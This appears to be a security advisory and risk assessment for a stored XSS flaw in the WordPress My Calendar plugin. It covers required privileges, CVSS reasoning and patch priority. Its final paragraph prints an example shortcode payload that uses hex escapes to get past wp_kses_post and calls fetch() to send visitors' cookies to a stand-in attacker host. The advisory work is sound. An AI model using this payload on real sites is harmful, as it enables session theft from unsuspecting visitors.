My Calendar CVE-2026-77186

Exploitation requires a WordPress account with at least Contributor-level privileges - the minimum role needed to publish or submit shortcode-containing posts. The My Calendar plugin must be installed and active, with the specific shortcodes exposing the fallback or substitute attribute ([my_calendar], [my_calendar_upcoming], [my_calendar_today] and related widget shortcodes). The bypass depends specifically on WordPress core's shortcode_parse_atts() calling stripcslashes() at render time, meaning it works regardless of the WordPress core version as long as shortcode parsing is active (the default). Exploitation is bounded to sites that grant Contributor accounts to potentially untrusted individuals; single-author or invitation-only sites where all accounts are trusted are at near-zero practical risk.

The CVSS 6.4 score with scope change (S:C) is well-calibrated: stored XSS that executes in arbitrary visitors' browsers enables session cookie theft, credential harvesting, or malicious redirects beyond the original plugin boundary. The PR:L barrier (Contributor-level WordPress account) is a genuine limiting factor, but contributor accounts are routinely distributed to community members on civic, educational, and news sites. The bypass technique is notably evasion-capable - it specifically circumvents the wp_kses_post control that WordPress site operators rely on as their primary HTML sanitization layer, meaning defenders cannot assume standard hardening is sufficient. No public exploit has been confirmed and the vulnerability is absent from CISA KEV, keeping real-world urgency below critical; even a mid-sized municipal IT team in legnica running a public-facing event calendar should nonetheless treat this as a priority patch, particularly if contributor accounts are issued to untrusted external parties. EPSS data was not provided, so probabilistic exploitation rate cannot be quantified. Overall: moderate-to-high priority for multi-author WordPress sites, lower for single-author or tightly access-controlled installations.

An attacker who holds or socially engineers a WordPress Contributor account inserts a shortcode such as [my_calendar fallback="\x3cscript\x3efetch('https://attacker.example/c?'+document.cookie)\x3c/script\x3e"] into a post or page. WordPress saves the post without flagging the payload because wp_kses_post sees only backslash-escaped sequences rather than real HTML. When any site visitor loads the page, WordPress's shortcode processor decodes the hex sequences via stripcslashes(), rendering a live <script> tag that exfiltrates the visitor's session cookie to the attacker. No public proof-of-concept exploit has been confirmed, but the bypass mechanism is described in sufficient technical detail in the CVE to be independently reproduced.